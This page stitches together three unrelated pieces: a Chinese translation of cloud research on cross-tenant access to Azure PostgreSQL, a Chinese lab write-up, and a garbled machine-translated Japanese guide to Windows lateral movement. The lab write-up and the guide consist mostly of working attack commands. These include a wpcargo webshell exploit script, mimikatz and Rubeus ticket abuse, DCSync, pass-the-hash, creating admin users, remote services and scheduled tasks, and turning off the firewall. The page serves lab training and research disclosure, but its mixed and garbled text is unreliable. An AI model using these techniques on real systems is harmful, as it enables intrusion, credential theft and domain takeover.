如上所述,我們的第一個想法是瞄準雲管理的數據庫服務。雲服務提供商(CSP)以託管服務的形式向客戶提供多種開源和商業數據庫解決方案。這些數據庫示例運行在CSP擁有和運行的內部雲環境中,通常不屬於用戶的雲環境。此外,大多數數據庫解決方案提供了執行運行系統級命令的功能,這正是我們正在尋找的。

PostgreSQL服務器幾乎具有上述所有屬性:它很受歡迎,包含敏感數據,而且它的所有示例似乎都在內部Azure 環境中運行。 PostgreSQL 是一個大項目;它比其他數據庫解決方案複雜且提供更多功能。

什麼是Azure數據庫? PostgreSQL是一個強大的、開源的、成熟的對象關係數據庫,成千上萬的組織使用它來存儲不同類型的數據。它以其經過驗證的架構和可靠性贏得了強大的聲譽。 Azure PostgreSQL數據庫服務器是Azure提供的四個PostgreSQL之一。它是一種完全託管的數據庫即服務,可提供動態可擴展性和簡化的開發人員體驗。

ExtraReplica-Wiz-image2.png

PostgreSQL 部署選項及其優勢

攻擊面概述為了了解我們的攻擊面,我們運行了一組PostgreSQL查詢,並收集了一些關於我們環境的信息。例如:我們的特權是什麼?哪些PostgreSQL 功能可用?等等。在了解了這些信息之後,我們得出結論,即使我們的數據庫用戶是PostgreSQL的高權限組azure_pg_admin的一部分,我們仍然缺乏執行本地代碼所需的特定PostgreSQL權限,如下圖所示:

ExtraReplica-Wiz-image3.png

由於缺乏權限,運行系統級的代碼執行失敗

這意味著我們必須找到一種方法來升級我們在PostgreSQL示例中的權限。幸運的是,我們可以參考之前關於PostgreSQL中權限升級的研究(1, 2)。

漏洞1 ——PostgreSQL權限升級在研究我們的示例時,我們發現Azure修改了他們的PostgreSQL引擎。 Azure引入這些變化到PostgreSQL引擎很可能是為了加強它們的權限模型並添加新功能。我們設法利用這些修改中的一個漏洞來實現權限升級,允許我們作為超級用戶執行任意查詢。獲得超級用戶權限後,我們可以在示例上執行運行系統級別的命令。

雖然微軟已經修復了這個漏洞,但是出於對其他可能對其PostgreSQL引擎進行了類似修改的廠商的謹慎考慮,我們現在不會透露漏洞的細節。

4.png

通過惡意SQL查詢執行運行系統級代碼

環境偵察在獲得在我們的PostgreSQL 託管示例上執行任意代碼的能力後,我們對環境進行了一些偵察。我們意識到我們在主要託管PostgreSQL 進程的docker 容器中以非特權azuredb 用戶身份運行。該容器正在運行Ubuntu 18.04.6 LTS 的修改映像,並安裝了最新的內核(5.4.0-1063-azure),幾乎排除了使用當時已知的內核漏洞來繞過該容器的可能性。在我們的偵察過程中,我們還注意到可以從容器內部訪問以下網絡接口:

ExtraReplica-Wiz-image5.png

可從PostgreSQL 容器內部訪問的網絡接口

通過查看網絡接口,我們意識到容器與其主機共享一個網絡名稱空間。看到內部IP地址給了我們一個想法,如果通過這些內部網絡接口路由,我們是否可以訪問其他客戶的其他PostgreSQL示例?

我們在另一個Azure帳戶上創建了另一個PostgreSQL Flexible示例,並試圖從我們創建的第一個數據庫中訪問它,通過端口5342上的內部網絡接口(eth0, 10.0.0.0/23)。令我們驚訝的是,它成功了!最重要的是,即使示例的防火牆配置為拒絕所有連接嘗試,它也能正常運行。我們認為這違反了預期的隔離模型,因為我們只是通過利用某種內部網絡訪問來連接到一個不相關的PostgreSQL示例。然而,由於我們仍然需要這個數據庫的用戶名和密碼來執行任何有意義的運行(例如讀取或修改數據),這個漏洞的嚴重性仍然很低。

值得一提的是,當我們運行netstat命令時,除了5432 (PostgreSQL),還有其他端口在所有接口(0.0.0.0)上監聽。然而,當我們試圖從內部子網連接到其中一些時,我們超時了。我們執行了更多的測試,包括監聽任意端口並試圖從另一個示例連接,但失敗了。我們懷疑存在一個配置為顯式允許端口5432連接的防火牆。

我們想知道,為什麼允許這種聯繫開始?我們的示例可以通過10.0.0.0/23 子網訪問其他示例的正當理由是什麼?

漏洞2——使用偽造的證書繞過跨帳戶身份驗證為了探究為什麼我們的示例可以在內部訪問其他示例,我們決定檢查設備上的兩個文件:pg_hba.conf 和pg_ident.conf。根據PostgreSQL 文檔,這些文件分別負責客戶端身份驗證和用戶名映射。 pg_hba.conf 文件定義了哪些客戶端可以連接到哪個數據庫、來自哪個IP 範圍、使用哪個用戶名和身份驗證方法。

讓我們檢查一下這些來自我們示例的配置文件:

pg_hba.conf:

6.png

Azure PostgreSQL Flexible Server pg_hba.conf

在第25行中,我們看到客戶端可以使用標準密碼身份驗證(md5)從內部網絡和外部網絡連接到示例。此外,在第17到21行中,特殊帳戶複製只能在內部網絡中使用客戶端證書認證進行身份驗證(子網10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)。

複製用戶的目的是什麼?事實證明,PostgreSQL提供了一個獨特的功能,允許將數據庫數據從一個服務器複製到另一個服務器,從而“複製”數據庫。這通常用於備份和故障轉移/高可用性場景。例如,Azure將其用於其高可用性功能:

7.png

高可用性功能如果我們能夠設法以復制用戶身份驗證其他客戶的其他PostgreSQL 示例,我們應該能夠獲得他們數據庫的完整副本(即復制)。

使用客戶端證書進行身份驗證時,PostgreSQL 會驗證提供的證書是否由受信任的證書頒發機構(CA) 簽名。受信任的CA 列表可在SSL 證書頒發機構文件中找到。 SSL 證書頒發機構文件位置位於PostgreSQL 服務器配置中的ssl_ca_file 字段下。

8.png

指向ca.pem 的SSL 配置,可以在postgresql.certoverrides.conf 中看到

通過檢查此文件,我們了解到Azure 信任多個CA 的證書,其中一個是DigiCert。 DigiCert 是著名的根證書頒發機構和SSL 證書頒發機構,為個人和開發人員以及企業提供服務。

9.png

Azure PostgreSQL服務器支持的受信任的證書頒發機構列表

Azure使用了另一個PostgreSQL功能來驗證證書的通用名稱(CN)。這就是pg_identity .conf的作用。

pg_identity .conf文件是對pg_hba.conf文件的擴展。當使用身份驗證方法(如Ident或Certificate authentication)時,發起連接的用戶名可能與需要連接的實際用戶名不同。在這種情況下,將應用用戶映射以將連接用戶與相應的PostgreSQL 用戶匹配。這允許將通用名稱(CN) 鏈接到特定用戶。例如,具有簽署到alice.com 的證書的用戶將能夠以Alice 的身份進行連接,或者俱有簽署到bob.com 的證書的用戶可以以Bob 的身份進行連接。 pg_ident.conf 還支持更複雜的通用名驗證的正則表達式。

這是Azure 中的pg_ident.conf 配置:

10.png

檢查pg_identity .conf文件中指定的映射,我們注意到一些有趣的邏輯:

根據第一個條目,任何具有匹配某個正則表達式的證書CN的用戶都可以使用與CN的第一部分等價的數據庫用戶名登錄。例如,擁有簽署到azuresu.eee03a2acfe6.database.azure.com 的證書的用戶將能夠使用azuresu 用戶連接到復制數據庫。

根據第二個條目,複製用戶可以使用等於rl.eee03a2acfe6.prod.osdb.azclient.ms 的證書CN 值登錄(這對於我們的示例來說似乎是唯一的)。

此外,第一個條目還允許複製用戶登錄,因為它的用戶名也與正則表達式匹配(replication.eee03a2acfe6.database.azure.com)。

眼尖的讀者會注意到這個正則表達式的一些奇怪之處:

11.png

為什麼這個正則表達式以(.*) 結尾?這顯然是一個錯誤。我們是否可以註冊一個匹配這個正則表達式的域,例如replication.eee03a2acfe6.database.azure.com.wiz-research.com,為其生成一個客戶端證書,然後通過模擬複製用戶使用它來登錄我們的服務器。

要利用這個鬆散的正則表達式,我們必須做的就是訪問digicert.com 並向replication.eee03a2acfe6.database.azure.com.wiz-research.com 頒發證書。由於我們是wiz-research.com 的合法所有者,我們通過了驗證過程並成功獲得了客戶證書。在實踐中,我們最終從RapidSSL(DigiCert 的中間CA)購買了證書,因為我們發現該過程更容易。這就是我們如何為我們自己的示例偽造一個有效的SSL 客戶端證書,任何人都可以使用它來連接和復制我們的數據庫。

訪問其他客戶的數據庫到目前為止,我們只討論了登錄到我們自己的PostgreSQL示例。我們如何應用這個技巧來獲得對其他客戶示例的訪問?讓我們再看看pg_identity .conf文件中的正則表達式:

12.png

我們可以看到,每個數據庫示例都有一個惟一的標識符。要為特定的數據庫生成自定義證書,我們需要事先知道這個標識符。那如何獲得這些信息?

我們發現,數據庫的唯一標識符出現在服務器的SSL證書中。通過嘗試使用SSL連接內部網絡中的其他數據庫,我們可以檢索它們的SSL證書,並提取子網中每個數據庫的惟一標識符。

13.png

測試到隨機客戶示例的連接,以檢索標識符

在發現目標數據庫的唯一標識符之後,我們可以頒發一個新的客戶端證書,但這一次是使用目標的標識符replication.ebe6ed51328f.databasee.azure.com.wiz-research.com,並使用它連接到目標數據庫,它具有完全的讀取權限。

但是,如果我們不想將自己局限於碰巧共享我們子網的其他客戶呢?如果我們想從特定目標數據庫(假設我們知道它的域名)中檢索數據,例如wizresearch-target-1.postgres.database.azure.com,該怎麼辦?在這種情況下,我們可以通過在公共證書透明度提要中搜索數據庫域名來獲取具有唯一標識符的CN:

14.png

使用crt.sh識別包含唯一標識符的CN

一旦我們有了標識符,我們就可以購買一個偽造的普通名稱的證書:

15.png

購買的偽造證書

接下來,我們可以通過解析數據庫域找到目標示例的相關Azure區域,並將IP地址匹配到Azure的一個公共IP範圍:

16.png

SQL East US區域的IP範圍片段

最後,我們可以在與目標相同的區域中創建由攻擊者控制的數據庫,並將其作為利用我們發現的漏洞的切入點,並獲得對我們所尋找的數據的訪問權限!

步驟總結1.選擇一個目標 PostgreSQL Flexible Server。

2.從Certificate Transparency 提要中檢索目標的公用名。

3.從DigiCert或DigiCert中級證書頒發機構購買一個特別製作的證書 。

4.通過解析數據庫域名並將其與Azure的一個公共IP範圍匹配,找到目標的Azure區域。

5.在目標的Azure區域中創建一個攻擊者控制的數據庫。

6.利用攻擊者控制的示例上的漏洞1來升級特權並獲得代碼執行。

7.掃描子網查找目標示例,並利用漏洞2獲得讀取權限限!

影響最初的PostgreSQL漏洞(漏洞1)同時影響了Azure PostgreSQL服務器和Azure PostgreSQL單一服務器。然而,Single Server服務沒有受到跨帳戶身份驗證繞過漏洞(漏洞2)的影響,因此,我們無法在該服務中實現跨租戶訪問。此外,微軟的調查發現,跨帳戶認證繞過並沒有影響Azure PostgreSQL客戶,他們將數據庫的網絡設置配置為使用私有訪問(VNet Integration)。因此,Azure Database for PostgreSQL Flexible Server客戶在任何配置了公網訪問的地區,無論防火牆規則如何,都是易受攻擊的。

需要注意的是,在設置Flexible Server數據庫時,用戶需要將其網絡連接配置為公共訪問(默認選擇)或私有訪問(VNet Integration)。選擇後就不能更改。

说明

Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

技术

Redis、Brute Force、SMB、Privilege Elevation、域渗透

第一个flag

redis主从复制RCE

fscan扫描入口ip,如果下面入口ip有变化是因为重启的环境,流程没有问题

lbu3kahbb4p14419.png

发现了redis的未授权,测试了写计划任务反弹shell,提示没有权限,尝试redis主从复制RCE成功

klzbfhryfka14420.png

suid提权

用户为redis,需要提权,使用suid提权,可以执行以下命令,具体可以查看 Linux系统suid提权1

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
4zhtiyldzii14421.png

base64是具有suid权限的,我们可以通过base64读取本地文件并输出,获取到第一个flag

base64 "/home/redis/flag/flag01" | base64 --decode
o2hvs2mzmh314422.png

第二个flag

wpcargo未授权RCE

在入口ip的服务器上设置代理,并进行内网扫描,通过weget上传 npc和fscan

start ping
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.16     is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.3:88 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.7:21 open
172.22.2.18:80 open
[*] alive ports len is: 20
start vulscan
[+] NetInfo:
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] 172.22.2.34          XIAORANG\CLIENT01        
[*] 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[+] NetInfo:
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] WebTitle:http://172.22.2.16        code:404 len:315    title:Not Found
[+] NetInfo:
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] WebTitle:http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] 172.22.2.16          XIAORANG\MSSQLSERVER       Windows Server 2016 Datacenter 14393
[*] 172.22.2.3     [+]DC XIAORANG\DC                Windows Server 2016 Datacenter 14393
[*] 172.22.2.18          WORKGROUP\UBUNTU-WEB02    
[*] 172.22.2.3  (Windows Server 2016 Datacenter 14393)
[+] ftp://172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle:http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点

使用 wpscan扫描下wordpress站点

proxychains wpscan --url http://172.22.2.18
tckpx3wzgfg14423.png

可以看到存在wpcargo插件,搜索相关漏洞,有个未授权RCE漏洞

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

w51tcwdqdgc14424.png
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

生成shell

http://172.22.2.18/webshell.php?1=system
POST:2=whoami
s4fodxxshxu14425.png

连接蚁剑,注意类型要选择 cmdLinux (这个浪费了很多时间,对工具不熟悉)

mprob5xmocn14426.png

查看数据库的配置,并连接

qnyw3nydj3314427.png

找到第二个flag

31lq5wdh1vt14428.png

第三个flag

发现了一张存放密码的表

0m53m41ydbc14429.png

MSSqlServer RCE

用刚才数据库里拿到的密码表爆破MsSQL,得到密码为ElGNkOiC

1d5ftsxxnqa14430.png

使用Multiple.Database.Utilization.Tools工具连接

先激活Ole Automation Procedures组件,再上传SweetPotato.exe提权,得到system权限

g1a5uteq4jr14431.png
C:/Users/MSSQLSERVER/Desktop/SweetPotato.exe -a "netstat -ano"
ucwmofesxkd14432.png

发现3389开放着,直接添加用户,远程连接

net user devyn Admin123 /add
net localgroup administrators devyn /add
3n3ozwitu1z14433.png

远程连接成功

biuuzs4btep14434.png

获得第三个flag

1dvriq3b2cd14435.png

‍第四个flag

域渗透

使用mimikatz,抓取域用户的hash

4d3xdutsinm14436.png

获取到域用户的哈希为78a2811aabd779d0da3cef84903ca3e6

约束委派攻击

MSSQLSERVER机器配置了到 DC LDAP 和 CIFS 服务的约束性委派

首先通过Rubeus申请机器账户MSSQLSERVER的TGT,执行后,将得到 Base64 加密后的 TGT 票据

Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:78a2811aabd779d0da3cef84903ca3e6 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
brrn3wimihb14437.png

然后使用 S4U2Self 扩展代表域管理员 Administrator 请求针对域控 LDAP 服务的票据,并将得到的票据传递到内存中

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:LDAP/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE3jomeuPBK3C69yaGuyDCLGYHRyVjZg4zXrEwUSwvFS0kZ+4Q2uTcKGqYw3GLs5sf0/MJ0fHiL1V8u5WrLpgR5hBlYUGN+g1zmv3uiTXO7QobxH0lR0dUUKuNdPoxdPdx26Liz5/xdDFvz4xTyMKDqqRxgBWquqGjh1cp/woy4U4tXJo+L8CfQ424Kgdb3n/rJYRNY54m8QHl/smHg3PpMgTT2FEiJ5Jag+qDpM/R/XUOIJHNzSfCVi2XiLGqPF374jUbih9UTZvlqRoSHz9qljZlBsEAqen9ctu01tmNn4ACRz4mqMV11MyV9scfeJnQbCpGdS+zveSrT53dwFotrg00o4Jq6RGr9dR/6ZMKC1W/kfwSXdF1b/H3HOMM7HzK0qLfSbDtq8i1e2FdZ5kyOVbbtAE6irAizzK7ScDS4rO9RRSDl6BNaV25nkjce6j9dj4V56ua1Gh+F+JQfAHbE8zLNt9OmseJs6IGj/cxKEckbhcggGhQhL3c6k1FKZOTXY1PKR8zweZauWgK7FXiDLEP1h6YwP2S/frDmKRb5mCdBUUQBzsA/6BBmEAnxvfKX1B8xViT0rq1I/pLKS9LKWTKyuHJd67z6XDRN7IWR0fstyqGuvHPn391l02zNUJRK5/7jyOyKwhQ3sb/XRzC4YbLeGgImMGRZ0fqrQ+hRBQbTuNr2/i4hgyWDLuBSEvz5qb1kXcebRkWuCHhpGKtsdbyZ30tnpA0W2qWu8qJ8zKks04r2Hj91lCPudAbrjhjjFf/UNd+fHcfYlAu0xzMuR8eKUA22Lcv0fEf2igvIu38bCRvUjfGkh423fgPsR4Xom8/8lNWhU+kaAiGSwSER8UGr8jiDVjtmgF5ScFoQDM+kVJ5o0ZnettUHJhcVMAdlI1QTq5WjQRIea6u4d6bYSHI43ips6So8hEcsB/03FpOKR/SRUYveALw3IAwAJtAPtW/SrzUeLXEemVg2aADTl1qXNw04A0e9v8XQnnm7lyCJfmI3pXJVsycjJyviDwazFtHGbQoM3fhlZ4zpBlfBKagxQr624YO5yIaJbl9/Dp4M7iauUIbo7kAWCfka1iafKyGDFGAXudAb52dt72jw0/QpeLP08RORDLtY8IrpjKAzHsSGuVYukY07lR+ck95MeKFDnl8cwaKw0MB8f92n4g4OfWQbUJK/479LYMZBDG38iwHHv/MLiaCylHm5nazaY0JJxJ2CeqIvsAFlfm7gp23V5Hj/T+eKt0zd3EIjNhuwBvhYeVKKQCFJZGaRelQKxaptmKhhgILA+wTKvCxpQX6qx8b40pg9r1rr4zQ9buPb4JNnqwHe5SIgPURR02Xv5FUiiI9Qc5//bUhxCEOXi0TFASRbghAyNA/TLRVAqfvtgqv6SKb4jw265bdrQQrPITm1En79jsNw6adH1curFJr++PS6ZYX6yqK3DlJ5Piiy2OAVLPIPcN1zmbZ+jgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBAXgLFznI5hHEOCpAjFdNEoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIyMTAyODEyMjIzM1qmERgPMjAyMjEwMjgyMjIyMzNapxEYDzIwMjIxMTA0MTIyMjMzWqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
ppos5uepkjl14438.png

LDAP 服务具有DCSync权限,导出域内用户的Hash

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
n1y4xjeuvwf14439.png

获得域管理员哈希 1a19251fbd935969832616366ae3fe62

WMI横向

得到域管的哈希后我们可以通过WMI服务登录域控

python wmiexec.py -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3
g1gu4a4ykth14440.png

获得第四个flag

3i5yr5qlyzm14441.png

另一种方法

直接通过哈希传递就能拿下域控,这里使用crackmapexec来进行PTH

proxychains crackmapexec smb 172.22.2.3 -u administrator -H1a19251fbd935969832616366ae3fe62 -d xiaorang.lab -x "type Users\Administrator\flag\flag04.txt"
yepcr4hbikf14442.png

原文链接:https://zhuanlan.zhihu.com/p/581577873

通常の状況では、水平方向の動きは、十分な権限が得られた場合に水平方向に移動することです。以下の方法のほとんどは、高い許可操作も必要です。

https://www.freebuf.com/articles/network/251364.html

イントラネットの水平移動には3つの状況があります。

1. VPN環境で水平方向の動きを実行します。

2。ソックスプロキシ環境で水平方向の動きを実行します。

3.遠隔トロイの木馬の環境で水平方向の動きを実行します。

ファイル転送準備

水平運動の過程で、最初に考慮すべきことはファイル転送スキームであり、攻撃ペイロードまたはその他のファイルを攻撃ターゲットに後で展開するための利便性を提供します。

ネットワーク共有

Windowsシステムでは、ネットワーク共有機能はローカルエリアネットワーク間のファイル共有を実現できます。有効なユーザー資格情報を提供して、あるマシンから別のマシンにファイルを転送します。

Windowsでデフォルトでネットワーク共有を有効にします。

ネットシェア

実際の戦闘では、IPC $接続がよく使用され、IPC $接続には2つの要件が必要です。

1.リモートホストはIPC接続を有効にしました。

2。リモートホストの139ポートと445ポートが開いています。

ネット使用\\ 10.10.10.10 \ ipc $ 'admin!@#456' /user:'administrator '

この時点で、十分な権限がある場合は、dirまたはcopyコマンドを使用してターゲットホストの情報を表示できます。

セキュリティ上の考慮事項:これらの命令はローカルで実行されるリモートコマンドであるため、リモート接続されたホストにログ情報を残さないため、比較的安全です。

SMBサーバーを構築します

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%5%B7%A7-ERE9%80%9AA%E8%BF87%E5%91%BD%EE4%A4%E8%A1%8 C%E5%BC%80%E5%90%AfWindows%E7%B3%BB%E7%BB%9F%E7%9a%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE5%85%B1%E4%BA%AB

CIFS(ネットワークファイル共有システム)とも呼ばれるSMB(サーバーメッセージブロック)は、アプリケーションレイヤーネットワーク伝送プロトコルに基づいており、通常、NetBiosプロトコルまたはTCPを使用して送信し、ポート139または445を使用します。

両当事者がアクセスできるSMBサーバーとイントラネットの普及により、被害者ホストはトロイの木馬やその他の操作をリモートでロードしてターゲットホストを制御できます。

CIFSプロトコルとSMBプロトコルの違い

** CIFSアクセス許可に関するアイデア:**マシンを削除し、制約付き委任や銀の請求書などの脆弱性がある場合、操作を通じてドメインコントロールのCIFS許可を取得します。その後、Impacket Toolkitでpsexec.pyやsmbexec.pyなどのツールを使用し、-no -pass -kパラメーターを使用してドメイン制御に直接接続して、ローカル請求書を読んでアクセス許可を取得できます。

ただし、Impacket Toolkitが-no -Pass -Kパラメーターを使用すると、ccacheチケットを検出し、Windowsで.kirbi -endチケットを使用するため、成功することはできません。 Linuxで成功する可能性があります。

ドメインコントロールのCIFS許可を取得できる場合は、Impackツールを変更するか、他のツールを作成し、CIFSアクセス許可を使用してドメイン制御を直接取得します。

計画タスク

実行方法は、VPNおよびSocksメソッドと同じです。一般的に、管理者の資格情報は、スケジュールされたタスクを実行する前に取得する必要があります。

SMBサーバーを構築するか、共有接続を確立することにより、ターゲットマシンはスクリプトをダウンロードして実行し、スクリプトロードトロイの木馬などを実行するための計画されたタスクを確立します。

ターゲットシステムバージョンWindow2012が使用される場合:

ネット使用\\ 192.168.3.21 \ ipc $ 'admin12345' /user:god.org\administrator#IPC接続を確立する

コピーadd.bat \ 192.168.3.21 \ c $ #copy実行ファイルをターゲットマシンに

at \\ 192.168.3.21 15:47 C: \ add.bat #ADDスケジュールされたタスク

ターゲットシステムバージョン=windows2012の場合、schtasksを使用します。

ネット使用\\ 192.168.3.32 \ ipc $ 'admin!@#45' /user:god.org\administrator#IPC接続を確立する

コピーadd.bat \\ 192.168.3.32 \ c $ #copyファイルをCドライブに

schtasks /create /s 192.168.3.32 /ru 'system' /tn adduser /sc daily /tr c: \ add.bat /f#create Adduserタスクの対応する実行ファイル

/s:リンクするシステムを指定します。 /ru:実行するスケジュールされたタスクのユーザー権限を指定します。 /TN:作成されたスケジュールされたタスクの名前を指定します。

/SC:スケジュールされたタスクの実行頻度を指定します。 /TR:スケジュールされたタスクが実行されるプログラムパスを指定します。 /f:指定されたタスクが存在する場合は強制的な作成。

/MO:スケジュールされたタスク実行サイクルを指定します。

schtasks /query /s 10.10.10.10 /TN C#ビュースケジュールされたタスクCステータス

schtasks /run /s 192.168.3.32 /tn adduser /i #run adduserタスク

schtasks /delete /s 192.168.3.21 /tn adduser /f#delete adduserタスク

dig0ps4mygd965.png

タスクの実行をスケジュールするプログラムは、バックグラウンドで実行され、エコーがないことに注意してください。

ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。

gws2zvsav1f966.png

rc4eheclqjt967.png

計画されたタスクの追加、削除、実行、およびその他の操作も、ターゲットホストに反映されます。

pwujcw1gn1v968.png

Microsoft-Windows-Taskscheduler/Operational:このイベントログは、スケジュールされたタスクの操作、作成、変更、削除を記録します。このログは、Windowsイベントビューアーで見つけることができます。パスは次のとおりです。イベントビューアー - アプリケーションとサービスログ - Microsoft -Windows -Taskscheduler-動作。 Microsoft-Windows-Taskscheduler/Menaptaining:このイベントログは、タスクの開始、完了、エラー情報など、スケジュールされたタスクの実行を記録するために使用されます。また、Windowsイベントビューアーでは、このログを見つけることができます。パスは次のとおりです。イベントビューアー - アプリケーションとサービスログ - Microsoft -Windows -Taskscheduler-メンテナンス。セキュリティ上の考慮事項:スケジュールされたタスクはリモートで実行されますが、ターゲットホストにスケジュールされたタスクプロセスが確立され、プロセスもターゲットホストでファイルを実行します。これらの動作は、ターゲットホストにログレコードを残すため、より危険です。

システムサービス

実行方法は、VPNおよびSocksメソッドと同じです。リモートホストにシステムサービスを作成することにより、リモートホストで指定されたプログラムまたはコマンドを実行することもできます。

この方法では、両方のホストに管理者の権利が必要です。

sc \\ [hostname/ip] create [servicename] binpath='[path]' #createスケジュールされたタスクスタートアッププログラム

Sc \\ 10.10.10.10 CREATE BINDSHELL BINPATH='C: \ Bind.Exe'

こちらの形式に注意してください "="は空にする必要があります。そうしないと、エラーが発生します。

サービスを開始します

sc \\ 10.10.10.10 Bindshellを開始します

サービスを削除します

sc \\ [host] delete [servicename] #deleteサービス

また、サービスをセットアップすることにより、ファイアウォールをオフにすることもできます。

sc \\ win-ens2vr5tr3n create canveadfirewall binpath='netsh advfirewall set allprofiles state off'

sc \\ win-ens2vr5tr3n cantyfirewallを開始します

iirqwkzwrtg969.png

ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。

0g0qdrmyauj970.png

システムサービスのログも痕跡を残します。

ptnd2ksfack971.png

セキュリティ上の考慮事項:システムサービスを作成する方法を使用すると、リモートホストにサービスが作成され、ターゲットホストにログレコードを残すため、より危険です。

psexec

実行方法は、VPNおよびSocksメソッドと同じです。 PSTOOLSPSEXECは、SMBを介してサーバーの管理者$共有に接続し、「psexesvc.exe」という名前のバイナリファイルをリリースし、「psexec」という名前のサービスを登録するサービスです。コマンドが実行されると、対応するプログラムがサービスを通じて開始され、コマンドとエコーが実行されます。実行が完了した後、PSEXESVCサービスが削除されます。

したがって、psexecを実行するために必要な条件:

1.ターゲットホストは、管理者$共有を有効にします。

2。SMBを実行するためにポート139または445を開きます。

3。サービスを作成するには、ターゲットホストの権限が必要です。

psexec.exe -accepteula \\ 192.168.52.138 -u god \ liukaifeng01 -p liufupeng123 -i -s cmd.exe

-ACCEPTEULA:PSEXECを初めて実行すると、確認ボックスがポップアップし、このパラメーターを使用すると確認ボックスがポップアップされません。

-u:ユーザー名

-P:パスワード

-S:システム許可を使用して運搬プロセスを実行し、システム権限を備えたインタラクティブシェルを取得します。このパラメーターが使用されていない場合、接続に使用されるユーザー権限を備えたシェルが取得されます

Impacketパッケージpsexec.pyを使用すると、リモートWindowsシステムでプロセスを実行したり、ファイルをコピーしたり、処理出力の結果を返したりできます。さらに、完全なインタラクティブコンソール(クライアントソフトウェアをインストールする必要はありません)を使用して、リモートシェルコマンドを直接実行できます。

python psexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]

python psexec.py vvvv1/admins:user \!@#45@10.10.10.10

#ハッシュパスワード接続を介してターゲットドメインユーザーインタラクティブシェルを取得する

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

pythonファイルとexeファイルのコマンドは同じです。

i4uvbinu4dn972.png

PSEXECを使用する場合、ログインログはドメインコントロールで生成されるだけでなく、ターゲットマシンでもログ情報が生成されます。

イベントID:7045

公式のPSEXECツールを使用します

2rwbcbrybjc973.png

ImpacketパッケージのPSEXECツールを使用して接続すると、生成されたサービス名が自動的に変更されることがわかります(サービスに特定の隠された効果があります)

oixslg4mh5e974.png

セキュリティ分析:PSEXECが実行されると、ファイルをアップロードするだけでなく、サービスを作成します。これらはターゲットホストによって記録されるため、より危険です。

wmi

実行方法は、VPNおよびSocksメソッドと同じです。 WMIのフルネームは(Windows Management Instrumentation、Windows Management Specification)であり、ユーザーはWMIを介してローカルおよびリモートコンピューターを管理できます。 WMIが使用するプロトコルは、DCOM(分散コンポーネントオブジェクトモデル)とWinRM(Windowsリモート管理)です。

WMIを実行するために必要な条件:

1.リモートホストのWMIサービスは、有効な状態にあります。

2。両方のホストを開いてポート135をリリースします。

Windowsでは、wmic.exeおよびpowershell cmdletsを使用してWMIデータを使用してWMIメソッドを実行できます。

wmic /node:192.168.183.130 /user:administrator path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1

